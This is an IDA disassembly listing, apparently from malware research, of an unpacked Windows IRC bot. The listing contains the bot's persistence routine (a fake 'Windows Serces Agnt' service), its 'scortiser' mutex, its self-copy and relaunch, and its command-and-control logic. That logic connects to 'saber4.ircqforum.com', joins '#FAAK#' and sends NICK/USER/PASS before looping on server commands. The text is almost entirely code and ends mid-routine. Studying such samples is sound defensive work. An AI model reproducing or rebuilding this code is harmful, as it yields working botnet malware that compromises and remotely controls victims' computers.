;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CF7A2F80BA7778B4D718F31EA6460695

; File Name   :	u:\work\cf7a2f80ba7778b4d718f31ea6460695_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsSercesA ; "Windows Serces Agnt"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB998
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CBA08
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB948


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9C0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E92C
		call	dword_4CBA7C
		call	sub_40B583
		call	dword_4CB93C
		call	dword_4CB93C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB98
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 26802DCh
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB90
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB720, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB724, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA90
		push	7530h
		push	offset aScortiser ; "scortiser"
		push	ebx
		push	ebx
		nop
		call	near ptr 26B069Eh
		push	eax
		call	near ptr 26B063Ch
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB954
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26B0528h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AD0
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429110
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429110[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26B0453h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26B0389h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 26A0CACh
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 26A0475h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 26B0389h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB98
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		call	near ptr 26A0C67h
		nop
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_43309Co
		call	near ptr 26A07A5h
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429ABC
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26802DCh
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 26A0475h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB93C
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBE08, 2
		jle	short loc_401562
		mov	eax, dword_4DBE0C
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26B063Ch
		push	esi
		nop
		call	near ptr 2680000h
		mov	eax, dword_4DBE0C
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 26A0475h
		nop
		mov	eax, dword_4DBE0C
		push	dword ptr [eax+8]
		nop
		call	near ptr 26A06ADh


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAB4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429AA0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DBA0
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A7C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 26A0CACh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A3C
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A10
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	short loc_40169A
		call	near ptr 26A0CACh
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299DC
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB72C
		mov	dword_4CB898, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB7AC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7EC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB880, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB728
		mov	dword_4CB894, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB894, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 26A0475h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB72C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290EC, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290EC
		push	offset dword_4CB72C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB93C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9E4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E938
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA64
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E92C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA7C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 26A0475h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD8
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA7C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB890, bl
		jz	short loc_40199A
		push	offset byte_4CB890
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA7C
		push	1388h
		nop
		call	near ptr 26A0475h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 26A0475h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
